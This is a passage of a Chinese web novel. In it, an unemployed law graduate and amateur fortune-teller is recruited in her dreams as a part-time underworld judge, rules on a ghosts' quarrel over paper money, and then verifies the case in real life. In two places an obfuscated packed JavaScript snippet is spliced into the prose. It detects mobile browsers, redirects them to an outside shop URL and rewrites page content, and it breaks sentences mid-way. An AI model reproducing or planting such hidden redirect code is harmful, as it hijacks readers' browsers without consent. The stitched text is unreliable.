《鬼差请我去断案》 1. 在梦里上岸,有什么用? “您放宽心,这路才宽,阴阳不宜颠倒,千万不要天亮再就寝,晚安。” 刘松巧眼皮沉重,松了口气关上手机。 算算日子,毕业至今十月有余,诸路不通,只能拾起家传手艺在网上当个半吊子神棍勉强混口饭吃。 今天又是熬了个大夜接待各方痴男怨女,回答些五花八门又殊途同归的情感问题,结束最后一个已是天光微透窗帘。 眼皮子终于如愿合拢,眼前一片黑暗沉重,忽然又弹出一堆聊天框,白色刺醒早已疲惫不堪的神经: “大师,我和我男朋友能长久吗?” “师傅我感情还有救吗?” “听说你算得准,那先猜猜我是男的女的” …… 完了,工伤。 刘松巧把被子用力地压在眼睛上,用不规则的黑暗强制碾碎残留的幻觉。 过了大概半个小时,还是更久,脑子放松下来,或许说总算麻木到什么都不再想,迷迷糊糊地预备踏入梦乡,脑子里又弹出个霸占全屏的聊天框: “您有一份offer请查收。” 更糟了,毕业即失业的焦虑竟然这么严重,连做梦都深受其害。不管什么梦,都让她先睡会儿再说吧! 刘松巧心情烦躁不已,但还是没忍住点击那个聊天框。万一是个好梦呢,点了也不用惊醒,梦里收一个offer也不亏。 下一步竟然真的弹出一个邮件界面,自己也没有醒过来的感觉,刘松巧有些欣喜。再细看邮件内容,梦里大脑时常会编些似是而非的东西,这次认真读一读看看都是些什么。 “尊敬的刘松巧女士: 非常荣幸地通知您,经过东方地府严格筛选,您已被确定符合地府兼职审判员岗位要求。 诚邀您加入东方地府大家庭,欢迎您的到来,期盼与您携手共创新时代地府和谐家园。” 刘松巧:? 今天脑子太活跃想象力过于丰富,细节很到位,但不知是不是太耗费精神阳气不足,居然梦到加入地府了,这不成这不成。 她还年轻,还不想死,梦里也不行! 心猛地一坠,邮件界面缩成一张纸飘落到手中,她再打开确认一遍真的假的,结果右手拇指刚挨到字迹,整个人就失重往下跌去。 “啊啊啊啊!” 按常理来说,这个时候应该腿猛地一蹬从梦中惊醒,但是出乎意料的没有。 刘松巧感觉自己坠入了更黑更深的梦境之中。最深处竟有坚实地面,跌坐在地,还有一点疼。 梦里不是没有痛觉吗?嘶,是不是猫压腿上了,在梦里都能感觉疼。不行,明天一定督促它减肥。 刘松巧正在给自家猫记一笔账,眼前朦朦胧胧开始闪现一盏白色灯笼。 “欢迎您,刘女士。”灯笼后一个人影慢慢浮现,黑衣黑帽,脸色惨白。 不是吧,夜路走多了真撞鬼。明天不会发现她因为通宵熬夜猝死了吧? “能,能不欢迎吗?”刘松巧手忙脚乱地掐起了小六壬,但是不知是不是做梦的缘故,手不听使唤。前几天她找爷爷给自己算事业运的时候看过,虽说流年是官杀混杂,正印无力,事业上惨淡无比,只能走走偏门,但明确没有血光之灾啊。她还没活够呢! “不用惊慌,并非是您阳寿已尽,刚才邮件内容可能写得不够详细,有些误会。我先为您带路,路上容我慢慢解释。”黑衣男子现在十分清晰地站在刘松巧跟前,这高清度和细节不像她能梦出来的。 “带路?去,去哪儿?” “地府啊。” 刘松巧紧张地咽了咽口水,这是人话吗?不对,这位极有可能是阴冥鬼差,那确实只能说鬼话。 刘松巧小心翼翼地试探道:“我,我还能活着回去吗?” 黑衣男子:“勿要多虑,性命无虞。您先随我去做个入职登记。” 刘松巧胆战心惊地跟在黑衣人身后,用手掐了掐自己,手脚可以自由活动,被掐的地方确实有些疼,确认这不只是梦。现在困意全无,不知还在不在梦中。若还在梦中,梦游地府,她不姓魏,也没本事斩龙王,能不能放她回去? “您请宽心,有什么疑虑尽可以问我。” “太多了,但是我现在问……问不出来。” 刘松巧觉得自己牙齿都在打颤,脑子更是只剩下活命二字。虽说日常替人算命,玄学略知皮毛,但真到了这儿,腿没软都算她胆气足。至于走路磕磕绊绊的,说明她还是个普通人,敬畏之心发作。 “您小心些,请上船。” 眼前出现一条河,也许是河,只看到黑色空间中有一条白线作为河与陆地的分界线。再往前,什么都看不见。 黑衣人躬身请她上船,她不敢拂了人家面子,赶快手脚并用颤颤巍巍地爬上去。木质小船无帆无桨,连个座也没有。刘松巧靠边盘腿坐下,手指紧扣船舷,靠着个东西安心些。 黑衣人提灯上船,小舟平滑驶出,没什么意外,不进水也不晃。刘松巧俯身看河水,船头一路破开河面,却没显现半点波澜。 刘松巧清了清嗓子:“那个,我还有机会提问吗?” “当然可以。”黑衣人的声音毫无波澜。刘松巧开始怀疑地府是不是已经开始使用机器人了。 刘松巧低头看邮件那张纸:“什么叫地府兼职审判员?” 黑衣人沉默一秒,不知从何处掏出一张纸面无表情地念:“为了建设新时代地府和谐社会,东方地府决策构建新时代地府法治体系,其中建设科学合理的民事审判制度是新时代地府法治体系的重点任务,为了……” “能跳过这一串吗?”刘松巧虽在梦里,听到大段官话也快睡着了。 黑衣人折好纸片收到袖子里,抬头恭敬地说道:“地府需要构建民事审判系统,请您来做兼职审判员。” 刘松巧疑惑:“为什么要活人来做?历史上那么多法学大家,还有无数的法律工作者,都……都去世了,应该不至于还要活人来做兼职吧。再说传说地府不是还有判官吗?判官那水平不比我们这种愣头青高多了。” 黑衣人拱手道:“诸位判官大人自有公务在身,由判官司牵头地府各司共同合作,具体由判官司直属部门落实。至于您说的那些法学家,他们大多爱著书立说,对审判工作的评价兴趣远大于实操。” “那还有法学工作者呢,他们经验丰富,不比我好多了?” “历史久远的那些多半不想再学习新时代法制,新时代的工作者大部分说工作一辈子就够累了,不想在这边还加班。” 刘松巧心想也有道理,换她也不想死了还干一样的活。 “不过我只是个本科生,活着的里面,比我专业的大有人在吧?” 黑衣人耐心解释:“兼职审判员不仅需要懂法学,还需通晓玄学。人间专业审判员大多因为工作性质不能搞封建迷信,不太好请来。之前好不容易找到一个,白天上班晚上加班结果累倒了,为了可持续发展就没继续。” 刘松巧听了突然想起自己也很疲倦。她也才刚工作完,还没休息就被叫来了!还她纯粹的睡眠! “还有……” 船碰在什么东西上,猛地停下,刘松巧全身不受控制往前猛扑,差不多五体投地。好在船底干燥且干净。 “刘女士,不用如此客气,新时代地府不兴跪礼。” 刘松巧尴尬地爬起来,拍了拍身上的灰。误会,天大的误会,她真的不客气。 黑衣人垂下灯笼照亮地面,刘松巧试探着伸出左脚,踩得踏实才挪下来另一只脚。 沿着看不见的路行进,刘松巧走得心里没底,只能亦步亦趋跟在黑衣人身后踩他踩过的地方。哦对了,鬼怎么还会有脚?不过她没胆子问出来。 “还有多远?”刘松巧感觉时间过了许久,不知道等会儿醒来都几点了。 “不远,再翻个山就到了。” 眼前亮起点点星光,黑夜如幕布褪去,天穹下出现一座灯火通明的城市,黑黢黢的山水环绕四周。 刘松巧比划了下山的距离和高度,面露难色:“那得走多久,而且我,运动能力不太行。”这山黑得什么都看不清,上面会不会有什么奇形怪状的鬼怪? “一般也就一个时辰。如果您不愿意……还有个特批的捷径,不过需要签署个人意愿书。” 黑衣人不知道在哪儿掏出张纸和红印泥递过来,刘松巧一看 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城市灯光渐近,刘松巧才看清屋宇的轮廓和灯光的颜色。城市划分并不分明,众多楼房风格各异,历朝历代、天南海北的房屋样式混杂,彼此之间并没有明确界限。灯光颜色五花八门,亮度不一,有灯笼微光,也有大路灯那种超亮光源,还有些树装上了绿色景观灯,方才有一点鬼片般的恐怖气息。 灯笼降落到城中一处空旷平台上,一落地刘松巧就赶快把腰间锁链解开。硌得腰疼倒在其次,膈应像拘魂是真的。 灯笼忽地一闪变成一个小把件飞回黑衣人手中。 刘松巧探了探头:“不用灯笼引路?”某些神话里说没有引路人就得迷失在冥界,她想着就害怕。 黑衣人抬手指了指两边:“专门修的路灯,够亮。” 刘松巧抬头一看,路灯整齐划一,亮度适中,不愧是基建狂魔,地府市政都做得那么标准。 黑衣人带刘松巧到了一间平房内,门上挂了块白底黑字的牌子“法治地府建设秘书联络处”。门内几个工作人员,或者说是鬼员坐在工位上,文件全飘在半空,刘松巧歪着头看飞起来的文件,怕万一掉下来砸到头。 “程姐,这位是新来的兼职审判员刘松巧女士,您给她填下表。” 程姐头也不抬递过一个文件夹:“一份知情同意书,两份劳务合同,一份保密协议。拿去。” 刘松巧双手接过文件,观察这位程姐气质很像个中层领导,对比起来黑衣人只能算个小喽啰。 翻开文件,知情同意书里面告知兼职审判员的工作内容、注意事项和安全提示,根据意向自愿签字。劳务合同和上课学过的大同小异,制式规范,只不过劳务报酬从人民币变成了运数点。 刘松巧长吁一口气,还好不是冥币。 “工作量大吗?”听了前面说的累倒那件事,她有点忐忑。 旁边工位一个白白净净的圆脸年轻姑娘探头,轻言细语答道:“最新规定一个审判员同时只承办一个案件,如果没空可以随时和我们联系暂停工作。” 听声音,还有些可爱。 “那,运数点是什么?” “为了防止通货膨胀,我们采用兑换气运的方式支付报酬,您可以随时来兑换财运、事业运等等运气,再到阳间兑现。” 还挺科学,刘松巧已经开始幻想兑换事业运,走上人生巅峰。上个月算她只能当个神棍混口饭吃,攒一攒,万一还能端个铁饭碗呢? 又开始嫌弃自己真没出息,梦都不敢梦个大的,还要上班。 刘松巧轻松地签好名字交回文件,那位可爱姑娘,自称小云,也就是小云姑娘交给她一枚黑金色徽章,嘱咐下次再来可以直接传送到工作地点,不用跋山涉水。 今天没什么事可以先休息,下次上线再工作。 刘松巧兴奋地从梦中醒来,又没醒透,只觉得心情十分愉悦,精神舒爽,又睡了过去。 迷迷糊糊梦里没有再出现什么鬼差、地府,果然只是个离奇的梦。 刘松巧放松下来,又有些低落,果然只有在梦里才有工作。 忍不住低头叹气,眼角瞥到左边胸口似乎有什么东西。 伸手一摸,是一枚圆形徽章,金粉反光映入眼底。 2. 新官上任,但烧纸钱 梦中惊出一身冷汗,又无知无觉沉睡。 等刘松巧醒来看手机,已是下午三点。肚子咕咕直叫,胡乱热了爸妈留在冰箱的饭菜充饥。长得像小猪的小猫松糕在一旁捣乱,因此饭吃得很不顺畅。 自从毕业宅家之后,爸妈天天念叨让她找工作、考公、考研,甚至让她三样一起试试,美其名曰“总能碰上一个”。 刘松巧最开始还努力,后面失去信心,开始怀疑自己为什么要学法。算了算事业运,彻底失望,不如捡回祖传手艺的饭碗,不铁,但好歹还是个碗。 爸妈最开始极其反对,后面看多了就业难的新闻,态度放缓,逐渐变成劝她慢慢努力,骑驴找马,家里供她吃饭还是吃得起的。 刘松巧抱着松糕,脑子昏昏沉沉,回想梦境感觉不太真实。地府上岸,是不是她想工作想疯了?如果是真的,地府hr真看得起她,待遇也远超那些破烂公司,谁家敢说保证员工发财,这是真敢。 松糕不经意咬了她一下,痛觉让意识回到现实。她一定是昏了头,这种好事只可能发生在梦里。 刘松巧继续在网络平台给自己打广告,顺便寻找客源。有帖子找人代写诉状,刘松巧心动了三秒,一看评论区都在骂帖主出价太低,她又缩了回去。当然她也没本事保证能写好,万一还耽误算命生意就不值了。 没本事做律师,只能做法师。 刘松巧敲击键盘,留下一句:今日无事,不要圆子,看几个运势,恋爱。 五分钟后叮咚一声,刘松巧赶快点开屏幕:账号违规提示。 她叹口气,熟练地点开申诉界面,行云流水填好资料。 挣钱,真难呐。 工作号被禁言,今晚只能早早入睡。往好处想,老是熬夜工作容易短命。 刘松巧睡得迷迷糊糊,眼前又出现了那个黑衣人。她瞪大了眼,是梦成真了,还是连续梦呢? “今天这是要?” “有个案子要您审理。离约定的时辰还有两刻钟,在此歇息片刻,待会儿我带您过去。”黑衣人变出桌椅,两个人,哦不,一人一鬼面对面坐下。 “你们怎么知道我现在能来?” 她今天睡这么早纯属意外,这是给她安监控了,还是通过什么不可说手段控制? 刘松巧尬笑两声:“要是不好说就别说了,我懂,我懂。” 黑衣人面无表情地摸出一本翻开的册子,摊在桌面上。 “没什么不能说的。您看这一页,今天排了十四个案子,您几点来都能不落空。” 蝇头小楷爬满墨线勾画的表格,刘松巧看了一眼有点晕字。 “我能先看看材料吗?”黑衣人点点头,刘松巧拉过册子。表格横行分为序号、姓名、地点、纠纷、裁判者、结果和备注,前十三行已勾画妥当,剩下最后一行只写了序号和地点。 “这些空的都要现场问吗?”刘松巧举起册子指给黑衣人看,他的神情沉了下来。 刘松巧赶快合上本子放回原处,这是犯了什么忌讳,她一点都不清楚。 就在她等着黑衣人发作时,对方站了起来。刘松巧心快提到嗓子眼,完了完了,怎么办,现在醒来能跑掉吗? 黑衣人离桌一尺远站定,向前弯腰,刘松巧一下从凳子上跳将起来。 结果黑衣人脸朝下,只是深鞠一躬。 “甚是抱歉,那两鬼太吵了,登记立案的时候是在没听清,是我工作不力,麻烦您了。” 刘松巧大喘一口气。这鬼差做事前能不能先吱声啊!梦里受惊吓会犯心脏病吗? 黑衣人抬起头,惊讶于刘松巧的反应:“您这是?” 刘松巧不好意思说实际想法,脑子一转:“啊,现在的风俗呢,别人鞠躬,站起来礼貌些。” “您太客气了,请坐下。” 黑衣人为表歉意,凭空变出一壶茶水和一碟糕点。 刘松巧眼前一亮,地府也有茶歇? 刘松巧看得眼馋,心里还是有点膈应,不敢吃地府的东西,转移话题道:“多谢,昨天走得急,还没来得及问您怎么称呼?” 黑衣人拱手:“在下贱名向明今,春水向东流的向,寓古明今的明今。” “向大人太客气了,您正常说话就好。”刘松巧说完才反应过来岂不是说人不正常,脸一下就红了,“就是,别贱名什么的,21世纪了不兴这个。” “您也过谦了,大人之称在下实在担不起,把我当同僚就好。” 她尴尬地埋头,蘸水在桌上画:“您那三个字就是,方向的向,明天、今天的明今?” 向明今端详半天:“应当没错。” 眼看又要冷场,刘松巧找话题:“不过我还是不知道怎么称呼您,向大人不能叫,连名带姓地太没礼貌了。” “现今阳间怎么称呼同事的,您照样子喊就行。” 刘松巧搜刮为数不多的实习经历:“我想想,一般同事会叫,向哥?” 向明今摆手:“在下比您大几百岁,怕是不妥。” “哦对,乱辈分了。您的职级是?” “寻常阴鬼使罢了,并没什么特别的。” “向鬼使,不对,念出来不对劲。”刘松巧心虚,几百年前的古人会想到那个谐音吧? “那……不如叫您向老师,这个总没错。” 向明今手都摇出了残影。 刘松巧给他科普:“我家那边喜欢叫陌生人老师,不只教书匠。或者,还有什么更合适的?” 向老师被迫当上不教书的老师。 时辰已到,刘松巧依法轻抚别在右胸的黑金徽章,默念刚学的咒语,白光闪过,眼前场景刹那转换。别说,这法术还挺好用,堪称本地化任意门。 群山环抱,山顶往下林木葱郁,山脚往上作物茂盛。时值半夜,四下寂静,刘松巧正纳闷荒郊野岭哪里有当事鬼时,向明今轻摇铃铛,面前空地里冒出来两股烟,升腾塑型化作两个风一吹就散的老头。 两鬼身量都不高,脸型鼻子和复制粘贴的一样。 刘松巧草草打了个腹稿,一个“你”字还没出口,眼前两位爆发出一阵争吵声: “鬼差大人,我那个……” “大人我冤枉啊!” “他不冤枉,他真偷……” “我没拿!” “……” 向明今抬手噤声,只见面前两鬼嘴还在动,却说不了半个字。 两鬼乖乖闭上嘴,向明今上前:“依照先前的申请,今晚特派审判员前来解决纠纷。记住,一切听审判员吩咐,不准喧哗闹事。” 两鬼连连点头,向明今退至一旁,示意刘松巧开始。 刘松巧见过最简单的法庭也比这设施全,连副桌椅都没有还是过于简陋了。不过也有好消息,法警特别管用。 刘松巧在脑子里过了一遍实习学会的开庭流程。没有法槌,拍手三下示意:“现在开始。两位当事人,你们谁是原告?谁是被告?身份为何?原告先来。” 左边的老头先开口:“禀告大人,我是原告陈红木,这是我的坟。”边说边指自己脚边土垒的小圆包。 刘松巧点头:“叫我审判员就行。另一位被告?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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原告梗着脖子:“是风吹过去了,但你拿了钱凭什么不给我!你不就嫉妒我有儿女来烧纸,你没有你自己活该。” 被告不反驳了,直接冲刘松巧喊:“审判员,他插嘴!” 刘松巧出言制止,模糊的知识点在脑海闪过:“侵占,不……不当得利?” 两鬼听了个糊涂:“审判员,什么叫布当的哩?” “啊,就是他不该拿那笔钱,但他拿了,这叫不当得利。” 原告点头:“他就是不该拿。” 被告秒跟:“我没拿!” 两鬼声音又大起来,刘松巧无奈望天。如此良夜,就该好好会周公,在这儿听两个野老头吵架真是凄惨。 向明今干咳两声,两鬼又归于安静。 刘松巧灵机一动:“向老师,请教个问题,是不是纸烧完了才能拿到?烧纸还有些什么规则,我刚来,不太清楚。” 向明今一愣,没想到还有自己的事。 “纸钱烧尽方能穿透阴阳。若画地为牢,圈中所烧纸钱可指名归某鬼,没圈的各凭本事。阴宅地面的归主人。” 刘松巧眼睛一转,恍然大悟,手指原告: “原告,你可知错?” 在场三鬼诧异万分,霎时安静异常,只余风声鸟鸣。 3. 小心设想,大胆求证 原告举起双手:“我冤啊,冤枉……”喊着喊着就要开始哭。 刘松巧微微一笑:“你不冤。” 刘松巧看三鬼还没反应过来,解释道:“也就是说,纸还没烧完就被风吹到隔壁坟头,我说得没错吧?” 被告点头。 “原告,纸飞过去的时候,你孩子们看着吗?” “他们是走了,但我看着呢!” 刘松巧托腮:“你看着也没用啊,没燃尽的纸钱算无主物吧?” “这钱有主,我就是主!” “你都死了,没民事权利能力①,在法律上不能占有纸钱,烧纸钱的人已经放弃所有权,这些燃烧中的纸钱在阳间就是无主物。”刘松巧用手比划,“完全燃烧后按照规则,自然是在谁地盘上归谁的。” 原告吹胡子瞪眼:“凭什么,这是我孩子送我的,那就是我的。再说,怎么就能证明风不是他刮的?” 刘松巧翻了个白眼,这不是胡搅蛮缠?对这种人,或是鬼,解释也没用,只会让他顺杆爬。 为了省去麻烦,再次场外求助:“向老师,如果后代烧纸引发山火,祖先是否要担责?” 原告:“你什么意思,你……” 向明今封住他的嘴,正色道:“因祭祀有伤天和,受飨者同罪。” “那就对了,纸钱飞走的主要责任在你家孩子身上,无人看管燃烧的纸钱,清明到现在都没怎么下雨,万一引燃草木,还不知道要死伤多少生灵?你还在这儿怪邻居拿了你的钱。” 原告的背越来越弯,这次不犟嘴了。 “还有,你们是邻居,同村同姓,想来也沾亲带故的,何必为点小事告来告去,不如和平相处,对大家都好。” 右边老头捋胡子:“对嘛,我是他三舅爷的堂哥,这小兔崽子还跟我较劲。” 看样子被告还准备滔滔不绝,刘松巧看了看天色,赶快总结:“既然都是一家人,好好说话。今天谁也不用赔谁的,没其他事就结束吧。” 回到联络处办公室,刘松巧瘫坐在椅子上。向明今补上本子记录,交接完工作又翻开新的一页,格子比前一页只多不少。 刘松巧哀嚎:“还有啊?” “您休息,这是今天的份。” “今天?” 向明今起身:“子时已过,我去找下一位审判员。昨天辛苦您了。” 刘松巧看钟,11点23分。往天这个点她还没睡呢,人家就得上工了。不对,她没睡也是在招揽客户。 牛马如出一辙地命苦。 一天十四个案子,每个花上一小时,还有杂活,工作时长十分感人。看样子鬼不用休息,换成活人得举报贩奴了。 程姐放下手中的活,幽幽飘过来:“今天第一次工作,感觉怎么样?” 刘松巧没力气回答她了,双手捂脸表示烦心。 程姐右手拂过刘松巧胳膊肘,衣角略微触碰:“起来签一下字,马上就能回去休息了。” 刘松巧被这一下冰得差点跳起来,抱住手肘取暖。程姐递过一个文件夹,内有一张A4纸打印的表格。 刘松巧仔细阅读每一个字,表内写明了这次案子的时间地点当事人纠纷和处理结果,还有三栏意见,审判员那一栏空着等她写。 “怎么当事人也要签?” “意见收集,仅做参考。” 刘松巧麻利签字,准备回去睡大觉。 “小票要吗?还是我给你记上,攒着一起?” “什么小票?” “劳务报酬。小票仅做兑换使用,要是丢了记得来挂失。” 刘松巧接过小票,外观比起超市小票更像名片。正面写了她名字,满纸水印“判官司”。 最醒目的还是一行大字“运势1000点”。 “程姐,这点数汇率是?” “按财运算的话,和人民币1:1。” 刘松巧内心跳起来欢呼。她决定了,这工作干不死就往死里干! 脸上湿热,蓦地一睁眼,白毛蹭得脸上发痒。 “松糕,别舔了。”刘松巧伸手把猫抱下枕头,结果差点脱手。 “你是不是又长胖了?” 松糕顶着一双无辜的大眼睛望着刘松巧,身体却很诚实地躲开量它腰身的双手。 趁松糕跑开,刘松巧独自回味梦境。稀里糊涂地当了回审判员,好像还不赖,有些办公细节再完善下就更好了。 她兴致勃勃地点开备忘录记下灵感,洋洋洒洒十几条。欣赏杰作之余,疑心又起。 怎么就那么确定这事是真的?会不会是她脑袋太活跃了? 所谓努力都建立在真实的基础上,如果只是虚幻梦境,不过白费劲。 刘松巧闭眼苦思,梦中之事如何在现实中印证? 打开浏览器搜索“地府+审判员”,搜出来都是判官介绍。也对,人家才是正规军。再说了,地府的官方文件,阳间互联网怎么可能会有?又不是都市怪谈。 刘松巧有些无力感,闭眼回放梦境细节。清晰到连书本上的字都合情合理,若非亲历,她都不信。 等等,字? 她想起来那件案子对应表格上写了序号和地址,地址应该对应昨晚去的坟头。因此,这地址是阳间的地址,实地调查一番就能明了。 刘松巧打开地图搜索还记得的“D市+陈家沟”,结果真有这么个地方,过去高铁三小时。 奈何囊中羞涩,为了一个梦花几大百空手跑来回,不是舍不得,那是相当舍不得。 D市毗邻老家G市,刘松巧思索一番,以回老家看爷爷为由,找亲爹骗取来回高铁经费600元。 计划通,今天就出发! 刘松巧坐着绿皮火车晃到D市,已经是第二天清晨。昧下300块装包里,小赚一笔。 陈家沟地处偏僻,中巴车翻山越岭把她甩到附近镇上,再打了个摩的直奔村子。 计划的时候还不觉得,真做起来才发现自己有点疯,人生地不熟的也不怕被拐了。 还好这大白天的,来都来了,看一眼再走。 清明过后,漫山遍野油菜花盛开,金黄一片。刘松巧凭借记忆往山上走,山间泥路又窄又陡,一个不小心就要翻下坡去。 远眺山景似乎差不多,但这一带地形都这样,刘松巧老家好像也没差多少。只有找到那两个坟包才能确定,但没有碑,怎么找? 刘松巧在山腰路上来回跑了两圈,一无所获。这么大个山,找两个脚边的矮土堆,无异于大海捞针。 刘松巧准备再地毯式搜索一圈,不行就去村子里问问。陈红木和陈河,也许还有人记得这两个名字? “爸爸,我来了,昨晚梦到……” 刘松巧听到一个女人的声音,伸长脖子往那边看。 声音来自油菜花田后面,油菜杆子高,又密,完全挡住她的视线。 刘松巧费了老大劲找到一条藏在两片油菜花田小径,顺着女声往前走。 这垅庄稼地里开满了胡豆花,中间两个土包。一家子人正蹲在左边土包前烧纸,供着香烛酒肉。 “爸爸,下次钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275516|198224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不够给我说,这次我看着烧肯定没问题。隔壁太舅爷那儿我也烧了,你们两个在那边好好过。太舅爷,麻烦你也多照顾下我爸爸,他脾气不好,我给你多烧点纸,你包容一下。” 女子说得动情,刘松巧如触电般呆立当场。 和梦里说的情况严丝合缝! 难道,难道她真的…… 刘松巧没稳住,不小心踩空,一脚踏进泥巴地里,差点摔个脸贴地。那一家子回头看了过来,刘松巧感觉脸在迅速升温。 刚才说话的女子走了过来:“你是谁?来我家地里干什么?” 凑近看,这人面相和陈红木有七八分相似,亲生的无疑。 “我……我来拍油菜花。”刘松巧把脚收回小路上站稳,抬头挺胸假装不经意的样子。 女人瞪她一眼:“这里田都有人家的,别乱踩乱摘弄坏了。”一家子人继续回去烧纸,懒得理她。 刘松巧松了口气,一溜烟跑下山去,边跑边回头看,还好,没追上来。 刘松巧以最快的速度坐上大巴直奔老家,心绪难平,需要和爷爷说一说。 刘家祖传算命看相手艺,往前数六七代都靠这门手艺吃饭。爷爷还是十里八乡出了名的神算,到老爸这儿才改行当老师去了。老爸不怎么信这个,说是封建迷信,爷爷笑说供他读书还得靠封建迷信。 刘松巧寒暑假回老家跟着爷爷学了些手艺,不过皮毛。爷爷总说,看太透了不好,小算怡情就行。老爸不置可否,只要不妨碍读书他都懒得管。 刘松巧到爷爷家已经是下午三点,老人家坐在院坝里抽土烟,看到她来了,一敲烟管。 “这么晚才来,是不是又通宵了?” “没,没呢。” 刘松巧心虚,这两天确实没通宵。 爷爷从躺椅上起身:“让我看看,这黑眼圈哦,年轻人呀,要早点睡,早起锻炼。” 偏偏肚子还不合时宜地咕了一声。 “哟,还没吃午饭啊。吃饭要赶趟,自己身体自己要爱惜。” 老人家进屋翻出一盒老式饼干,刘松巧乖乖接过。也许是饿了,最简单的饼干吃出了悠长回味,香甜无比。 老人家坐在门槛上眉眼带笑,有一口没一口地抽着土烟。透过烟雾,他似乎看到了不好的东西。 “你是不是碰到什么了?” 刘松巧没见过爷爷这么严肃对她说话,差点被饼干哽住。她本来想和爷爷说说这事,但老人家的态度出乎意料,她反而心虚起来。 “没有,怎么了?” 爷爷走上前来,把刘松巧上下扫视一遍:“你身上,有股阴气。” 刘松巧假装吃惊:“真的?” 其实她还真不知道。爷爷没教过她望气,她不知道人身上气长什么样。但是跑了两回地府,用脚想都能知道,肯定沾上了。 “我去山上看油菜花,路过一个坟,也许是这个?” 爷爷眯着眼:“这个墓主人,煞气有点重。大白天的还能给路人染这么重阴气。” 刘松巧尬笑两声:“哈哈,那有可能?” 爷爷神色阴沉地按住她的肩膀:“小巧,你老实给我交代。听你爸说,你到处给人算命看风水,你是不是……” 刘松巧额头微汗,怕是要瞒不住了,待会儿怎么坦白能少挨骂? “你是不是被犯罪分子利用,盗墓去了?” “啊?” ①:《民法典》第十三条:自然人从出生时起到死亡时止,具有民事权利能力,依法享有民事权利,承担民事义务。 4. 不做贼,心更虚 微风吹过,刘松巧后背生凉。 “爷爷,你瞎说什么呢?”刘松巧又夹起一块饼干咀嚼,给自己偷点思考的时间。 爷爷拎个凳面对面坐下:“小巧,你跟爷爷说实话,到底有没有?” 两人对视,刘松巧心中无鬼,自然镇定。 “爷爷,您真要这么问,那我的回答就是,没有人利用我去盗墓。” “不准偷换概念啊,我换个说法,掘人祖坟这事儿,你沾没沾?” “当然没有,我好歹是个法学生,怎么能违法犯罪呢?” “说得对,不能犯法啊,尤其你还学法,不能知法犯法。”爷爷脸色缓和几分,微微仰头看向远方,“也别怪老年人话多,想当年我真碰到过,唉,那个时候的手段。” “那您给他们提供犯罪帮助了?这算,胁从犯?” “你这孩子怎么说话呢,我能是那种人吗!”爷爷愤愤地放下烟管,脸上开始泛红,不好,爷爷的血压! “对对,您一辈子遵纪守法,耿直善良,怎么可能助纣为虐,和他们狼狈为奸。”刘松巧见话题有转移的趋势,赶紧添把力。 “干我们这行,就得多留点心眼,人难缠,小鬼更难缠。就说你身上这阴气,我想想。” 爷爷又举起烟管一阵吞云吐雾,刘松巧一如往常想立马躲开,但今天底气不足。 “我去拿个夹子封口。”刘松巧举起饼干袋子,起身便走。 “先坐下,不慌这一会儿。给我来两块。” 饼干也交了出去,刘松巧两手空空不知道拿什么掩饰自己的尴尬。 爷爷摇头:“这么强的阴气,我几十年也才见过几次。你惹到谁了?” “我怎么知道。那之前几次都是怎么样的?” “之前……我想想。” 饼干在老人手里四分五裂,又被碾成碎渣掉落一地,几只母鸡踱步过来。刘松巧趁机把视线挪到母鸡羽毛上,这鸡毛可真蓬松。 “盗墓贼那次,他们头头,就最狠的那个,说是一晚上能刨三个坟,手上还有几条人命。哦哟,身上阴气煞气都腌入味儿了,熏得我眼睛都睁不开。” “阴气是鬼,煞气是,人?” “教了就还给我了,什么叫煞气是人,记的什么玩意儿。你是不是连阴气怎么来的也忘了?” 刘松巧很想狡辩说她记得,但为了洗脱更大的嫌疑,不如假装不学无术吧。 “还大学生呢,这个都记不住。” 刘松巧点头,对对对,您说得都对。 “躺着的死人,飘着的鬼,不是活物的那些,阴气主要从他们身上来。” “你到底碰了什么死物?” 刘松巧继续装傻摇头。 “你说你去看油菜花,去的哪儿?” “D市。”刘松巧掏出手机,“有帖子说那儿油菜花挺火的。” 爷爷拍大腿:“要我说,没事去那地方看什么油菜花,小时候又不是没见过。这旁边山上也有,我陪着去不行嘛。” 刘松巧从顺如流连连称是。这是不是逃过去了? 直到太阳落山,刘松巧一直被晾在院里,理由是晒太阳驱邪。 爷爷在屋里鼓捣半天,摸出来几张符纸、一把朱砂和包浆的桃木剑,手舞足蹈地折腾。刘松巧被拉起来又摁下去,像洗衣里的衣服来回打转。 好不容易熬到入夜躺下歇息,床头却点了不知道什么香,呛得她难以入眠。昨晚硬座硌得她没睡着,今天困倦万分,总算在凌晨三点前进入梦乡。 入梦之后,第一眼看见的还是熟悉的向老师。向老师今天换了身黑西装,像个冷脸中介。 “向老师,你剪头发啦?” “出了趟差。” “地府还要出差?抓流落在人间的鬼?” “不是。工作内容保密,恕我不能说。” “打扰了,我就随便问问。另外有件事挺重要的,我爷爷说我身上有股阴气……” “确实还有残余。” 向明今蹲下查看:“是程姐。” “啊?”两人一直隔着友好的社交距离,突然近距离看到向老师茂密头顶,刘松巧有些紧张。 “您是不是挨到她了?人鬼直接接触,阴气传递效率很高。” 刘松巧抚摸手肘:“好像是有那么回事,可爷爷说这阴气很强,不就那么轻轻的一下?” “我们都是些积年老鬼,最好还是不要发生肢体接触。” 向老师指向左胸开始教学:“用右手手掌按住这儿的徽章,按个一分钟。” 刘松巧如法炮制,三秒后似有暖流从心口涌向全身。她不会望气,眼神求助向老师。 向老师回以点头:“现在干净了。” “好嘞,那可以说正事了。” 向明今翻开册子:“嗯,今晚我们去……” “向老师,我回去过后写了好多改进建议。咦,我手机呢?” “没带过来,你醒了写纸上烧给我吧。” 